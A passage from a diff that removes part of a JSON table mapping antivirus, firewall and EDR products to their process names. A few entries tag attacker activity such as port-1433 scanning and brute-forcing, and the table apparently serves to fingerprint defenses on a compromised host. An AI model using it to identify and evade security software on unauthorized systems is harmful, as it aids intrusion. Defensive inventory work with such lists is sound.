"WebTrap.exe", - "PccNTMon.exe" - ], - "url": "http://careers.trendmicro.com.cn/" - }, - "VIPRE": { - "processes": [ - "SBAMSvc.exe", - "VipreEdgeProtection.exe", - "SBAMTray.exe" - ], - "url": "https://www.vipre.com" - }, - "ViRobot": { - "processes": [ - "vrmonnt.exe", - "vrmonsvc.exe", - "Vrproxyd.exe" - ], - "url": "http://www.hauri.net/" - }, - "Webroot": { - "processes": [ - "npwebroot.exe", - "WRSA.exe", - "spysweeperui.exe" - ], - "url": "https://www.webroot.com/us/en" - }, - "Yandex": { - "processes": [ - "Yandex.exe", - "YandexDisk.exe", - "yandesk.exe" - ], - "url": "https://yandex.com/support/common/security/antiviruses-free.html" - }, - "Zillya": { - "processes": [ - "zillya.exe", - "ZAVAux.exe", - "ZAVCore.exe" - ], - "url": "https://zillya.com" - }, - "ZoneAlarm": { - "processes": [ - "vsmon.exe", - "zapro.exe", - "zonealarm.exe" - ], - "url": "https://www.zonealarm.com/" - }, - "Zoner": { - "processes": [ - "ZPSTray.exe" - ], - "url": "https://zonerantivirus.com/" - }, - "eGambit": { - "processes": [ - "dasc.exe", - "memscan64.exe", - "dastray.exe" - ], - "url": "https://egambit.app/en/" - }, - "eScan": { - "processes": [ - "consctl.exe", - "mwaser.exe", - "avpmapp.exe" - ], - "url": "https://www.escanav.com/" - }, - "Lavasoft": { - "processes": [ - "AAWTray.exe", - "LavasoftTcpService.exe", - "AdAwareTray.exe", - "WebCompanion.exe", - "WebCompanionInstaller.exe", - "adawarebp.exe", - "ad-watch.exe" - ], - "url": "https://www.lavasoft.com/" - }, - "The Cleaner": { - "processes": [ - "cleaner8.exe" - ], - "url": "" - }, - "VBA32": { - "processes": [ - "vba32lder.exe" - ], - "url": "http://www.anti-virus.by/en/index.shtml" - }, - "Mongoosa": { - "processes": [ - "MongoosaGUI.exe", - "mongoose.exe" - ], - "url": "https://www.securitymongoose.com/" - }, - "Coranti2012": { - "processes": [ - "CorantiControlCenter32.exe" - ], - "url": "https://www.coranti.com" - }, - "UnThreat": { - "processes": [ - "UnThreat.exe", - "utsvc.exe" - ], - "url": "https://softplanet.com/UnThreat-AntiVirus" - }, - "Shield Antivirus": { - "processes": [ - "CKSoftShiedAntivirus4.exe", - "shieldtray.exe" - ], - "url": "https://shieldapps.com/supportmain/shield-antivirus-support/" - }, - "VIRUSfighter": { - "processes": [ - "AVWatchService.exe", - "vfproTray.exe" - ], - "url": "https://www.spamfighter.com/VIRUSfighter/" - }, - "Immunet": { - "processes": [ - "iptray.exe" - ], - "url": "https://www.immunet.com/index" - }, - "PSafe": { - "processes": [ - "PSafeSysTray.exe", - "PSafeCategoryFinder.exe", - "psafesvc.exe" - ], - "url": "https://www.psafe.com/" - }, - "nProtect": { - "processes": [ - "nspupsvc.exe", - "Npkcmsvc.exe", - "npnj5Agent.exe" - ], - "url": "http://nos.nprotect.com/" - }, - "Spyware Terminator": { - "processes": [ - "SpywareTerminatorShield.exe", - "SpywareTerminator.exe" - ], - "url": "http://www.spywareterminator.com/Default.aspx" - }, - "Norton(赛门铁克)": { - "processes": [ - "ccSvcHst.exe", - "rtvscan.exe", - "ccapp.exe", - "NPFMntor.exe", - "ccRegVfy.exe", - "vptray.exe", - "iamapp.exe", - "nav.exe", - "navapw32.exe", - "navapsvc.exe", - "nisum.exe", - "nmain.exe", - "nprotect.exe", - "smcGui.exe", - "ns.exe", - "nortonsecurity.exe" - ], - "url": "https://us.norton.com/" - }, - "Norton V25(Avast)": { - "processes": [ - "afwServ.exe", - "aswEngSrv.exe", - "aswidsagent.exe", - "AvDump.exe", - "nllToolsSvc.exe", - "NortonSvc.exe", - "wsc_proxy.exe" - ], - "url": "https://us.norton.com/" - }, - "Symantec(赛门铁克)": { - "processes": [ - "ccSetMgr.exe", - "ccapp.exe", - "vptray.exe", - "ccpxysvc.exe", - "cfgwiz.exe", - "smc.exe", - "symproxysvc.exe", - "vpc32.exe", - "lsetup.exe", - "luall.exe", - "lucomserver.exe", - "sbserv.exe", - "ccEvtMgr.exe", - "smcGui.exe", - "snac.exe", - "SymCorpUI.exe", - "sepWscSvc64.exe" - ], - "url": "http://www.symantec.com/" - }, - "可牛杀毒": { - "processes": [ - "knsdtray.exe" - ], - "url": "https://baike.baidu.com/item/%E5%8F%AF%E7%89%9B%E5%85%8D%E8%B4%B9%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6" - }, - "流量矿石": { - "processes": [ - "Miner.exe" - ], - "url": "https://jiaoyi.yunfan.com/" - }, - "SafeDog(安全狗)": { - "processes": [ - "safedog.exe", - "SafeDogGuardCenter.exe", - "SafeDogSiteIIS.exe", - "SafeDogTray.exe", - "SafeDogServerUI.exe", - "SafeDogSiteApache.exe", - "CloudHelper.exe", - "SafeDogUpdateCenter.exe" - ], - "url": "http://www.safedog.cn/" - }, - "木马克星": { - "processes": [ - "parmor.exe", - "Iparmor.exe" - ], - "url": "https://baike.baidu.com/item/%E6%9C%A8%E9%A9%AC%E5%85%8B%E6%98%9F/2979824?fr=aladdin" - }, - "贝壳云安全": { - "processes": [ - "beikesan.exe" - ], - "url": "" - }, - "木马猎手": { - "processes": [ - "TrojanHunter.exe" - ], - "url": "" - }, - "巨盾网游安全盾": { - "processes": [ - "GG.exe" - ], - "url": "" - }, - "绿鹰安全精灵": { - "processes": [ - "adam.exe" - ], - "url": "https://baike.baidu.com/item/%E7%BB%BF%E9%B9%B0%E5%AE%89%E5%85%A8%E7%B2%BE%E7%81%B5" - }, - "超级巡警": { - "processes": [ - "AST.exe" - ], - "url": "" - }, - "墨者安全专家": { - "processes": [ - "ananwidget.exe" - ], - "url": "" - }, - "风云防火墙": { - "processes": [ - "FYFireWall.exe" - ], - "url": "" - }, - "微点主动防御": { - "processes": [ - "MPMon.exe" - ], - "url": "http://www.micropoint.com.cn/" - }, - "天网防火墙": { - "processes": [ - "pfw.exe" - ], - "url": "" - }, - "D 盾": { - "processes": [ - "D_Safe_Manage.exe", - "d_manage.exe" - ], - "url": "http://www.d99net.net/" - }, - "云锁": { - "processes": [ - "yunsuo_agent_service.exe", - "yunsuo_agent_daemon.exe" - ], - "url": "https://www.yunsuo.com.cn/" - }, - "护卫神": { - "processes": [ - "HwsPanel.exe", - "hws_ui.exe", - "hws.exe", - "hwsd.exe", - "HwsHostPanel.exe", - "HwsHostMaster.exe" - ], - "url": "https://www.hws.com/" - }, - "火绒安全": { - "processes": [ - "hipstray.exe", - "wsctrl.exe", - "usysdiag.exe", - "HipsDaemon.exe", - "HipsLog.exe", - "HipsMain.exe", - "wsctrlsvc.exe" - ], - "url": "https://www.huorong.cn/" - }, - "网络病毒克星": { - "processes": [ - "WEBSCANX.exe" - ], - "url": "" - }, - "SPHINX防火墙": { - "processes": [ - "SPHINX.exe" - ], - "url": "" - }, - "奇安信天擎": { - "processes": [ - "TQClient.exe", - "TQTray.exe", - "QaxEngManager.exe", - "TQDefender.exe" - ], - "url": "https://www.qianxin.com/product/detail/pid/330" - }, - "H+BEDV Datentechnik GmbH": { - "processes": [ - "avwin.exe", - "avwupsrv.exe" - ], - "url": "http://www.free-av.com/" - }, - "IBM ISS Proventia": { - "processes": [ - "blackd.exe", - "rapapp.exe" - ], - "url": "" - }, - "eEye Digital Security": { - "processes": [ - "eeyeevnt.exe", - "blink.exe" - ], - "url": "" - }, - "TamoSoft": { - "processes": [ - "cv.exe", - "ent.exe" - ], - "url": "https://www.tamos.com/" - }, - "Kerio Personal Firewall": { - "processes": [ - "persfw.exe", - "wrctrl.exe" - ], - "url": "http://www.kerio.com/" - }, - "Simplysup": { - "processes": [ - "Trjscan.exe" - ], - "url": "https://www.simplysup.com/" - }, - "PC Tools AntiVirus": { - "processes": [ - "PCTAV.exe", - "pctsGui.exe" - ], - "url": "http://www.pctools.com" - }, - "VirusBuster Professional": { - "processes": [ - "vbcmserv.exe" - ], - "url": "http://www.virusbuster.hu" - }, - "ClamWin": { - "processes": [ - "ClamTray.exe", - "clamscan.exe" - ], - "url": "http://www.clamwin.com/" - }, - "安天智甲": { - "processes": [ - "kxetray.exe", - "kscan.exe", - "AMediumManager.exe", - "kismain.exe" - ], - "url": "https://antiy.cn/" - }, - "CMC Endpoint Security": { - "processes": [ - "CMCNECore.exe", - "cmcepagent.exe", - "cmccore.exe", - "CMCLog.exe", - "CMCFMon.exe" - ], - "url": "https://cmccybersecurity.com/giai-phap/" - }, - "金山毒霸": { - "processes": [ - "kxetray.exe", - "kxescore.exe", - "kupdata.exe", - "kwsprotect64.exe", - "kislive.exe", - "knewvip.exe", - "kscan.exe", - "kxecenter.exe", - "kxemain.exe", - "KWatch.exe", - "KSafeSvc.exe", - "KSafeTray.exe" - ], - "url": "http://www.ijinshan.com/" - }, - "Agnitum outpost (Outpost Firewall)": { - "processes": [ - "outpost.exe", - "acs.exe" - ], - "url": "https://agnitum-outpost-security-suite.en.softonic.com/" - }, - "Cynet": { - "processes": [ - "CynetLauncher.exe", - "CynetDS.exe", - "CynetEPS.exe", - "CynetMS.exe", - "CynetAR.exe", - "CynetGW.exe", - "CynetSD64.exe" - ], - "url": "https://www.cynet.com/" - }, - "金山网盾": { - "processes": [ - "KSWebShield.exe" - ], - "url": "" - }, - "G Data安全软件客户端": { - "processes": [ - "AVK.exe" - ], - "url": "" - }, - "金山网镖": { - "processes": [ - "kpfwtray.exe" - ], - "url": "" - }, - "在扫1433": { - "processes": [ - "1433.exe" - ], - "url": "" - }, - "在爆破": { - "processes": [ - "DUB.exe" - ], - "url": "" - }, - "发现S-U": { - "processes": [ - "ServUDaemon.exe" - ], - "url": "" - }, - "百度卫士": { - "processes": [ - "bddownloader.exe", - "baiduSafeTray.exe" - ], - "url": "" - }, - "百度卫士-主进程": { - "processes": [ - "baiduansvx.exe" - ], - "url": "" - }, - "已知杀软进程,名称暂未收录": { - "processes": [ - "scan32.exe", - "mcscript.exe", - "cleanup.exe", - "cmdagent.exe", - "frminst.exe", - "mcscript_inuse.exe", - "_avp32.exe", - "_avpcc.exe", - "_avpm.exe", - "aAvgApi.exe", - "ackwin32.exe", - "advxdwin.exe", - "agentsvr.exe", - "agentw.exe", - "alertsvc.exe", - "alevir.exe", - "amon9x.exe", - "anti-trojan.exe", - "antivirus.exe", - "ants.exe", - "apimonitor.exe", - "aplica32.exe", - "arr.exe", - "atcon.exe", - "atguard.exe", - "atro55en.exe", - "atupdater.exe", - "atwatch.exe", - "au.exe", - "aupdate.exe", - "auto-protect.nav80try.exe", - "autodown.exe", - "autotrace.exe", - "autoupdate.exe", - "ave32.exe", - "avgcc32.exe", - "avgctrl.exe", - "avgserv9.exe", - "avkpop.exe", - "avkserv.exe", - "avkservice.exe", - "avltmain.exe", - "avnt.exe", - "avp32.exe", - "avpdos32.exe", - "avptc32.exe", - "avpupd.exe", - "avsched32.exe", - "avsynmgr.exe", - "avwin95.exe", - "avwinnt.exe", - "avwupd.exe", - "avwupd32.exe", - "avxmonitor9x.exe", - "avxmonitornt.exe", - "avxquar.exe", - "backweb.exe", - "bargains.exe", - "bd_professional.exe", - "beagle.exe", - "belt.exe", - "bidef.exe", - "bidserver.exe", - "bipcp.exe", - "bipcpevalsetup.exe", - "bisp.exe", - "blackice.exe", - "blss.exe", - "bootconf.exe", - "bootwarn.exe", - "borg2.exe", - "bpc.exe", - "brasil.exe", - "bs120.exe", - "bundle.exe", - "bvt.exe", - "cdp.exe", - "cfd.exe", - "cfiadmin.exe", - "cfiaudit.exe", - "cfinet.exe", - "cfinet32.exe", - "claw95.exe", - "claw95cf.exe", - "clean.exe", - "cleaner.exe", - "cleaner3.exe", - "cleanpc.exe", - "click.exe", - "cmesys.exe", - "cmon016.exe", - "connectionmonitor.exe", - "cpf9x206.exe", - "cpfnt206.exe", - "ctrl.exe", - "cwnb181.exe", - "cwntdwmo.exe", - "datemanager.exe", - "dcomx.exe", - "defalert.exe", - "defscangui.exe", - "defwatch.exe", - "deputy.exe", - "divx.exe", - "dllcache.exe", - "dllreg.exe", - "doors.exe", - "dpf.exe", - "dpfsetup.exe", - "dpps2.exe", - "drweb32.exe", - "drwebupw.exe", - "dssagent.exe", - "dvp95.exe", - "dvp95_0.exe", - "ecengine.exe", - "efpeadm.exe", - "emsw.exe", - "ent.exe", - "esafe.exe", - "escanhnt.exe", - "escanv95.exe", - "espwatch.exe", - "ethereal.exe", - "etrustcipe.exe", - "evpn.exe", - "exantivirus-cnet.exe", - "exe.avxw.exe", - "expert.exe", - "explore.exe", - "fast.exe", - "findviru.exe", - "firewall.exe", - "fp-win.exe", - "fp-win_trial.exe", - "fprot.exe", - "frw.exe", - "fsaa.exe", - "fsav.exe", - "fsav530stbyb.exe", - "fsav530wtbyb.exe", - "fsav95.exe", - "fsgk32.exe", - "fsm32.exe", - "gator.exe", - "gbmenu.exe", - "gbpoll.exe", - "generics.exe", - "gmt.exe", - "guard.exe", - "hacktracersetup.exe", - "hbinst.exe", - "hbsrv.exe", - "hotactio.exe", - "hotpatch.exe", - "htlog.exe", - "htpatch.exe", - "hwpe.exe", - "hxdl.exe", - "hxiul.exe", - "iamserv.exe", - "iamstats.exe", - "ibmasn.exe", - "ibmavsp.exe", - "icload95.exe", - "icloadnt.exe", - "icmon.exe", - "icsupp95.exe", - "icsuppnt.exe", - "idle.exe", - "iedll.exe", - "iedriver.exe", - "iface.exe", - "ifw2000.exe", - "inetlnfo.exe", - "infus.exe", - "infwin.exe", - "init.exe", - "intdel.exe", - "intren.exe", - "iomon98.exe", - "istsvc.exe", - "jammer.exe", - "jdbgmrg.exe", - "jedi.exe", - "kavlite40eng.exe", - "kavpers40eng.exe", - "kazza.exe", - "keenvalue.exe", - "kerio-pf-213-en-win.exe", - "kerio-wrl-421-en-win.exe", - "kerio-wrp-421-en-win.exe", - "kernel32.exe", - "killprocesssetup161.exe", - "launcher.exe", - "ldnetmon.exe", - "ldpro.exe", - "ldpromenu.exe", - "ldscan.exe", - "lnetinfo.exe", - "loader.exe", - "localnet.exe", - "lockdown.exe", - "lockdown2000.exe", - "lookout.exe", - "lordpe.exe", - "luau.exe", - "luinit.exe", - "luspt.exe", - "mapisvc32.exe", - "mcagent.exe", - "mctool.exe", - "mcupdate.exe", - "mfin32.exe", - "mfw2en.exe", - "mfweng3.02d30.exe", - "mgavrtcl.exe", - "mgavrte.exe", - "mgui.exe", - "minilog.exe", - "mmod.exe", - "monitor.exe", - "moolive.exe", - "mostat.exe", - "mrflux.exe", - "msapp.exe", - "msbb.exe", - "msblast.exe", - "mscache.exe", - "msccn32.exe", - "mscman.exe", - "msconfig.exe", - "msdm.exe", - "msdos.exe", - "msiexec16.exe", - "msinfo32.exe", - "mslaugh.exe", - "msmgt.exe", - "msmsgri32.exe", - "mssmmc32.exe", - "mssys.exe", - "msvxd.exe", - "mu0311ad.exe", - "mwatch.exe", - "n32scanw.exe", - "navap.navapsvc.exe", - "navdx.exe", - "navlu32.exe", - "navnt.exe", - "navstub.exe", - "navw32.exe", - "navwnt.exe", - "nc2000.exe", - "ncinst4.exe", - "ndd32.exe", - "neomonitor.exe", - "neowatchlog.exe", - "netarmor.exe", - "netd32.exe", - "netinfo.exe", - "netmon.exe", - "netscanpro.exe", - "netspyhunter-1.2.exe", - "netstat.exe", - "netutils.exe", - "nisserv.exe", - "nod32.exe", - "normist.exe", - "norton_internet_secu_3.0_407.exe", - "notstart.exe", - "npf40_tw_98_nt_me_2k.exe", - "npfmessenger.exe", - "npscheck.exe", - "npssvc.exe", - "nsched32.exe", - "nssys32.exe", - "nstask32.exe", - "nsupdate.exe", - "nt.exe", - "ntvdm.exe", - "ntxconfig.exe", - "nui.exe", - "nupgrade.exe", - "nvarch16.exe", - "nvc95.exe", - "nvsvc32.exe", - "nwinst4.exe", - "nwservice.exe", - "nwtool16.exe", - "ollydbg.exe", - "onsrvr.exe", - "optimize.exe", - "ostronet.exe", - "otfix.exe", - "outpostinstall.exe", - "outpostproinstall.exe", - "padmin.exe", - "panixk.exe", - "patch.exe", - "pavcl.exe", - "pavw.exe", - "pccwin98.exe", - "pcfwallicon.exe", - "pcip10117_0.exe", - "pcscan.exe", - "pdsetup.exe", - "periscope.exe", - "perswf.exe", - "pf2.exe", - "pfwadmin.exe", - "pgmonitr.exe", - "pingscan.exe", - "platin.exe", - "poproxy.exe", - "popscan.exe", - "portdetective.exe", - "portmonitor.exe", - "powerscan.exe", - "ppinupdt.exe", - "pptbc.exe", - "ppvstop.exe", - "prizesurfer.exe", - "prmt.exe", - "prmvr.exe", - "procdump.exe", - "processmonitor.exe", - "procexplorerv1.0.exe", - "programauditor.exe", - "proport.exe", - "protectx.exe", - "pspf.exe", - "purge.exe", - "qconsole.exe", - "qserver.exe", - "rav7.exe", - "rav7win.exe", - "rav8win32eng.exe", - "ray.exe", - "rb32.exe", - "rcsync.exe", - "realmon.exe", - "reged.exe", - "regedit.exe", - "regedt32.exe", - "rescue.exe", - "rescue32.exe", - "rrguard.exe", - "rshell.exe", - "rtvscn95.exe", - "rulaunch.exe", - "run32dll.exe", - "rundll.exe", - "rundll16.exe", - "ruxdll32.exe", - "safeweb.exe", - "sahagent.exe", - "save.exe", - "savenow.exe", - "sc.exe", - "scam32.exe", - "scan95.exe", - "scanpm.exe", - "scrscan.exe", - "serv95.exe", - "setup_flowprotector_us.exe", - "setupvameeval.exe", - "sfc.exe", - "sgssfw32.exe", - "sh.exe", - "shellspyinstall.exe", - "shn.exe", - "showbehind.exe", - "sms.exe", - "smss32.exe", - "soap.exe", - "sofi.exe", - "sperm.exe", - "spf.exe", - "spoler.exe", - "spoolcv.exe", - "spoolsv32.exe", - "spyxx.exe", - "srexe.exe", - "srng.exe", - "ss3edit.exe", - "ssg_4104.exe", - "ssgrate.exe", - "st2.exe", - "start.exe", - "stcloader.exe", - "supftrl.exe", - "support.exe", - "supporter5.exe", - "svchostc.exe", - "svchosts.exe", - "sweep95.exe", - "sweepnet.sweepsrv.sys.swnetsup.exe", - "symtray.exe", - "sysedit.exe", - "sysupd.exe", - "taskmg.exe", - "taskmo.exe", - "taumon.exe", - "tbscan.exe", - "tc.exe", - "tca.exe", - "tcm.exe", - "tds-3.exe", - "tds2-98.exe", - "tds2-nt.exe", - "teekids.exe", - "tfak.exe", - "tfak5.exe", - "tgbob.exe", - "titanin.exe", - "titaninxp.exe", - "tracert.exe", - "trickler.exe", - "trjsetup.exe", - "trojantrap3.exe", - "tsadbot.exe", - "tvmd.exe", - "tvtmd.exe", - "undoboot.exe", - "updat.exe", - "update.exe", - "upgrad.exe", - "utpost.exe", - "vbcons.exe", - "vbust.exe", - "vbwin9x.exe", - "vbwinntw.exe", - "vcsetup.exe", - "vet32.exe", - "vet95.exe", - "vettray.exe", - "vfsetup.exe", - "vir-help.exe", - "virusmdpersonalfirewall.exe", - "vnlan300.exe", - "vnpc3000.exe", - "vpc42.exe", - "vpfw30s.exe", - "vscan40.exe", - "vscenu6.02d30.exe", - "vsched.exe", - "vsecomr.exe", - "vsisetup.exe", - "vsmain.exe", - "vswin9xe.exe", - "vswinntse.exe", - "vswinperse.exe", - "w32dsm89.exe", - "w9x.exe", - "watchdog.exe", - "webdav.exe", - "wfindv32.exe", - "whoswatchingme.exe", - "wimmun32.exe", - "win-bugsfix.exe", - "win32.exe", - "win32us.exe", - "winactive.exe", - "window.exe", - "windows.exe", - "wininetd.exe", - "wininitx.exe", - "winlogin.exe", - "winmain.exe", - "winnet.exe", - "winppr32.exe", - "winrecon.exe", - "winservn.exe", - "winssk32.exe", - "winstart.exe", - "winstart001.exe", - "wintsk32.exe", - "winupdate.exe", - "wkufind.exe", - "wnad.exe", - "wnt.exe", - "wradmin.exe", - "wsbgate.exe", - "wupdater.exe", - "wupdt.exe", - "wyvernworksfirewall.exe", - "xpf202en.exe", - "zapsetup3001.exe", - "zatutor.exe", - "zonalm2601.exe", - "A2CMD.exe", - "ADVCHK.exe", - "AGB.exe", - "AKRNL.exe", - "AHPROCMONSERVER.exe", - "AIRDEFENSE.exe", - "ALERTSVC.exe", - "AVIRA.exe", - "AMON.exe", - "TROJAN.exe", - "AVZ.exe", - "ANTIVIR.exe", - "ARMOR2NET.exe", - "ASH.exeexe.exe", - "ASHENHCD.exe", - "ASHMAISV.exe", - "ASHPOPWZ.exe", - "ASHSERV.exe", - "ASHSIMPL.exe", - "ASHSKPCK.exe", - "ASHWEBSV.exe", - "ASWUPDSV.exe", - "ASWSCAN.exe", - "AVCIMAN.exe", - "AVENGINE.exe", - "AVESVC.exe", - "AVEVAL.exe", - "AVEVL32.exe", - "AVGAM.exe", - "AVGCC.exe", - "AVGCHSVX.exe", - "AVGCSRVX.exe", - "AVGNSX.exe", - "AVGCC32.exe", - "AVGCTRL.exe", - "AVGFWSRV.exe", - "AVGNTMGR.exe", - "AVGTRAY.exe", - "AVGUPSVC.exe", - "AVINITNT.exe", - "AVKSERV.exe", - "AVKSERVICE.exe", - "AVP32.exe", - "AVSERVER.exe", - "AVSCHED32.exe", - "AVSYNMGR.exe", - "AVWUPD32.exe", - "AVXMONITOR.exe", - "AVXQUAR.exe", - "BDSWITCH.exe", - "BLACKICE.exe", - "CAFIX.exe", - "CFP.exe", - "CFPCONFIG.exe", - "CFIAUDIT.exe", - "CLAMWIN.exe", - "CUREIT.exe", - "DEFWATCH.exe", - "DRVIRUS.exe", - "DRWADINS.exe", - "DRWEB.exe", - "DEFENDERDAEMON.exe", - "DWEBLLIO.exe", - "DWEBIO.exe", - "ESCANH95.exe", - "ESCANHNT.exe", - "EWIDOCTRL.exe", - "EZANTIVIRUSREGISTRATIONCHECK.exe", - "FILEMON.exe", - "FIREWALL.exe", - "FORTISCAN.exe", - "FPWIN.exe", - "FSBWSYS.exe", - "F-SCHED.exe", - "FSDFWD.exe", - "FSGK32.exe", - "FSGK32ST.exe", - "FSGUIEXE.exe", - "FSPEX.exe", - "GCASDTSERV.exe", - "GCASSERV.exe", - "GIANTANTISPYWARE.exe", - "GUARDGUI.exe", - "GUARDNT.exe", - "HREGMON.exe", - "HRRES.exe", - "HSOCKPE.exe", - "HUPDATE.exe", - "IAMSERV.exe", - "ICLOAD95.exe", - "ICLOADNT.exe", - "ICMON.exe", - "ICSSUPPNT.exe", - "ICSUPP95.exe", - "ICSUPPNT.exe", - "INETUPD.exe", - "INOCIT.exe", - "INORPC.exe", - "INORT.exe", - "INOTASK.exe", - "INOUPTNG.exe", - "IOMON98.exe", - "ISAFE.exe", - "ISATRAY.exe", - "KAV.exe", - "KAVMM.exe", - "KAVPFW.exe", - "KAVSTART.exe", - "KAVSVC.exe", - "KAVSVCUI.exe", - "KMAILMON.exe", - "MAMUTU.exe", - "MCAGENT.exe", - "MCREGWIZ.exe", - "MCUPDATE.exe", - "MINILOG.exe", - "MYAGTSVC.exe", - "MYAGTTRY.exe", - "NAVLU32.exe", - "NAVW32.exe", - "NEOWATCHLOG.exe", - "NEOWATCHTRAY.exe", - "NISSERV.exe", - "NOD32.exe", - "NORMIST.exe", - "NOTSTART.exe", - "NPAVTRAY.exe", - "NPFMSG.exe", - "NSCHED32.exe", - "NSMDTR.exe", - "NSSSERV.exe", - "NSSTRAY.exe", - "NTOS.exe", - "NTXCONFIG.exe", - "NUPGRADE.exe", - "NVCOD.exe", - "NVCTE.exe", - "NVCUT.exe", - "NWSERVICE.exe", - "OFCPFWSVC.exe", - "OPSSVC.exe", - "OP_MON.exe", - "PAVFIRES.exe", - "PAVFNSVR.exe", - "PAVKRE.exe", - "PAVPROT.exe", - "PAVPRSRV.exe", - "PAVSRV51.exe", - "PAVSS.exe", - "PCCGUIDE.exe", - "PCCIOMON.exe", - "PCCPFW.exe", - "PCCTLCOM.exe", - "PERTSK.exe", - "PERVAC.exe", - "PESTPATROL.exe", - "PNMSRV.exe", - "PREVSRV.exe", - "PREVX.exe", - "PSIMSVC.exe", - "QHONLINE.exe", - "QHONSVC.exe", - "QHWSCSVC.exe", - "QHSET.exe", - "RTVSCN95.exe", - "SALITY.exe", - "SAVADMINSERVICE.exe", - "SAVSCAN.exe", - "SCANNINGPROCESS.exe", - "SDRA64.exe", - "SDHELP.exe", - "SITECLI.exe", - "SPBBCSVC.exe", - "SPIDERCPL.exe", - "SPIDERML.exe", - "SPIDERUI.exe", - "SPYBOTSD.exe", - "SPYXX.exe", - "SS3EDIT.exe", - "STOPSIGNAV.exe", - "SWAGENT.exe", - "SWDOCTOR.exe", - "SWNETSUP.exe", - "SYMLCSVC.exe", - "SYMSPORT.exe", - "SYMWSC.exe", - "SYNMGR.exe", - "TAUMON.exe", - "TMNTSRV.exe", - "TMPROXY.exe", - "TNBUTIL.exe", - "VBA32ECM.exe", - "VBA32IFS.exe", - "VBA32LDR.exe", - "VBA32PP3.exe", - "VBSNTW.exe", - "VCRMON.exe", - "VRFWSVC.exe", - "VRRW32.exe", - "VSECOMR.exe", - "WATCHDOG.exe", - "WINSSNOTIFY.exe", - "XCOMMSVR.exe", - "ZLCLIENT.exe", - "navap.exe", - "sahagent.exe" - ], - "url": "" - }, - "G Data文件系统实时监控": { - "processes": [ - "avkwctl9.exe", - "AVKWCTL.exe" - ], - "url": "" - }, - "Sophos Anti-Virus": { - "processes": [ - "SAVMAIN.exe" - ], - "url": "" - }, - "360保险箱": { - "processes": [ - "safeboxTray.exe", - "360safebox.exe" - ], - "url": "" - }, - "G Data扫描器": { - "processes": [ - "GDScan.exe" - ], - "url": "" - }, - "G Data杀毒代理": { - "processes": [ - "AVKProxy.exe" - ], - "url": "" - }, - "G Data备份服务": { - "processes": [ - "AVKBackupService.exe" - ], - "url": "" - }, - "亚信安全服务器深度安全防护系统": { - "processes": [ - "Notifier.exe" - ], - "url": "" - }, - "阿里云盾": { - "processes": [ - "AliYunDun.exe", - "AliYunDunUpdate.exe", - "aliyun_assist_service.exe", - "/usr/local/aegis/aegis_client/" - ], - "url": "" - }, - "腾讯云安全": { - "processes": [ - "BaradAgent.exe", - "sgagent.exe", - "YDService.exe", - "YDLive.exe", - "YDEdr.exe" - ], - "url": "" - }, - "360主机卫士Web": { - "processes": [ - "360WebSafe.exe", - "QHSrv.exe", - "QHWebshellGuard.exe" - ], - "url": "" - }, - "网防G01": { - "processes": [ - "gov_defence_service.exe", - "gov_defence_daemon.exe" - ], - "url": "" - }, - "云锁客户端": { - "processes": [ - "PC.exe" - ], - "url": "" - }, - "Symantec Shared诺顿邮件防火墙软件": { - "processes": [ - "SNDSrvc.exe" - ], - "url": "" - }, - "U盘杀毒专家": { - "processes": [ - "USBKiller.exe" - ], - "url": "" - }, - "天擎EDRAgent": { - "processes": [ - "360EntClient.exe" - ], - "url": "" - }, - "360(奇安信)天擎": { - "processes": [ - "360EntMisc.exe" - ], - "url": "" - }, - "阿里云-云盾": { - "processes": [ - "alisecguard.exe" - ], - "url": "" - }, - "Sophos AutoUpdate Service": { - "processes": [ - "ALsvc.exe" - ], - "url": "" - }, - "阿里云监控": { - "processes": [ - "CmsGoAgent.windows-amd64." - ], - "url": "" - }, - "深信服EDRAgent": { - "processes": [ - "edr_agent.exe", - "edr_monitor.exe", - "edr_sec_plan.exe" - ], - "url": "https://edr.sangfor.com.cn" - }, - "戎码翼龙 NG-EDR": { - "processes": [ - "rm_service.exe", - "rm_live.exe", - "rm_tray.exe", - "rm_hips.exe" - ], - "url": "https://www.rongma.com" - }, - "启明星辰天珣EDRAgent": { - "processes": [ - "ESAV.exe", - "ESCCControl.exe", - "ESCC.exe", - "ESCCIndex.exe" - ], - "url": "" - }, - "蓝鲸Agent": { - "processes": [ - "gse_win_agent.exe", - "gse_win_daemon.exe" - ], - "url": "" - }, - "联想电脑管家": { - "processes": [ - "LAVService.exe" - ], - "url": "" - }, - "Sophos MCS Agent": { - "processes": [ - "McsAgent.exe" - ], - "url": "" - }, - "Sophos MCS Client": { - "processes": [ - "McsClient.exe" - ], - "url": "" - }, - "360TotalSecurity(360国际版)": { - "processes": [ - "QHSafeMain.exe", - "QHSafeTray.exe", - "QHWatchdog.exe", - "QHActiveDefense.exe" - ], - "url": "" - }, - "Sophos Device Control Service": { - "processes": [ - "sdcservice.exe" - ], - "url": "" - }, - "Sophos Endpoint Defense Service": { - "processes": [ - "SEDService.exe" - ], - "url": "" - }, - "Windows Defender SmartScreen": { - "processes": [ - "smartscreen.exe" - ], - "url": "https://learn.microsoft.com/zh-cn/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/" - }, - "Sophos Clean Service": { - "processes": [ - "SophosCleanM64.exe" - ], - "url": "" - }, - "Sophos FIM": { - "processes": [ - "SophosFIMService.exe" - ], - "url": "" - }, - "Sophos System Protection Service": { - "processes": [ - "SSPService.exe" - ], - "url": "" - }, - "Sophos Web Control Service": { - "processes": [ - "swc_service.exe" - ], - "url": "" - }, - "天眼云镜": { - "processes": [ - "TitanAgent.exe", - "TitanMonitor.exe" - ], - "url": "" - }, - "天融信终端防御": { - "processes": [ - "TopsecMain.exe", - "TopsecTray.exe" - ], - "url": "" - }, - "360杀毒-网盾": { - "processes": [ - "wdswfsafe.exe" - ], - "url": "" - }, - "智量安全": { - "processes": [ - "WiseVector.exe", - "WiseVectorSvc.exe" - ], - "url": "" - }, - "天擎": { - "processes": [ - "QAXEntClient.exe", - "QAXTray.exe" - ], - "url": "" - }, - "安恒主机卫士": { - "processes": [ - "AgentService.exe", - "ProtectMain.exe" - ], - "url": "" - }, - "亚信DS服务端": { - "processes": [ - "Deep Security Manager.exe" - ], - "url": "https://www.asiainfo-sec.com/product/detail-148.html" - }, - "亚信DS客户端": { - "processes": [ - "dsa.exe", - "UniAccessAgent.exe", - "dsvp.exe" - ], - "url": "https://www.asiainfo-sec.com/product/detail-148.html" - }, - "深信服EDR": { - "processes": [ - "/sangfor/edr/agent" - ], - "url": "https://edr.sangfor.com.cn" - 